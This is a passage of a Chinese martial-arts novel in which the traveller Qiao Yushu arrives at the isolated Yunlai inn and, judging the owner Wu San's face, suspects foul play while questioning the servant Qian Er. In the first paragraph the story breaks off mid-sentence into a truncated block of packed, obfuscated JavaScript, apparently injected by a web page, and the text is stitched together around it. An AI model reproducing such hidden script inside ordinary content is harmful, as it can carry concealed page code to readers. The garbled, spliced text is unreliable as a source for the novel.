乔与书见状,问道:“老人家,你为何这般吞吞吐吐?” 那老汉又打量他一下,问道:“你不是本地人吧?” 乔与书回道:“我是从蜀地来,要去昆仑……我见老人家面有疑色,想必其中有甚缘由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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拐过一个山壁,前面果有一客栈,灯笼旁边挂着一面用蓝布做的店招,上书“云来客栈”四字。他慢慢走上前去,见右侧果然有道木门,竟然关闭着,他过去刚推开院门,一个店小二模样的人便迎了上来,殷勤地说道:“哟,来了位小少爷,快快请进!”然后又掉头高声吆喝道,“主人,来客人啦!” 乔与书进去后四处打量着,这是个比较简陋的院子,摆了两张桌子,下面底层屋子是厨房,上面楼上便是客房,有个宽大的木质楼梯可到楼上走廊。 不一刻,有个头戴黑色绸巾、身穿黑绸褂子、脚蹬黑色云鞋的胖汉,从楼梯上慢慢下来。此人长得一脸横肉,两撇眉毛倒斜,眉下是三角眼,鼻头大,嘴唇厚,鼻梁微弯,右脸长一颗黑痣,痣上长着两根黑毛。 乔与书精通鉴人之术,一见此相,便断定此人属于心术不正之辈。他装得什么也不知道,在一桌前的条凳上坐下,大大咧咧说道:“店家,给我安排一间安静点的房间,再给我拿些酒菜来,做一盆汤菜,我既饿又渴,要来快些。” 那叫吴三的店主听了,笑嘻嘻地哈哈腰:“客官放心,客栈什么都有……”又掉头对店小二吆喝:“钱二,将楼上东边那间最好的房给他,我去吩咐厨房给客人弄点吃的……”说完朝厨房走去。 乔与书跟着钱二上了楼,楼上是木质扶手,东西两边均是客房,客房板壁和雕花窗子均是木质结构,乔与书边走边问钱二道:“这位伙计,店里还有其他客人么?” 钱二边走边答道:“这里地处偏僻,过往行人较少,生意很不景气,最近几日都没甚客人,唯有左边厢房有一女客,生意真难做呢!” 乔与书一针见血地问:“既然生意难做,怎么还继续开店,这岂不是傻子做的赔本买卖?” 钱二一听,心一惊,支支吾吾地说:“这、这……这是主人的事,我们伙计不好多嘴……来,客人这房里请!”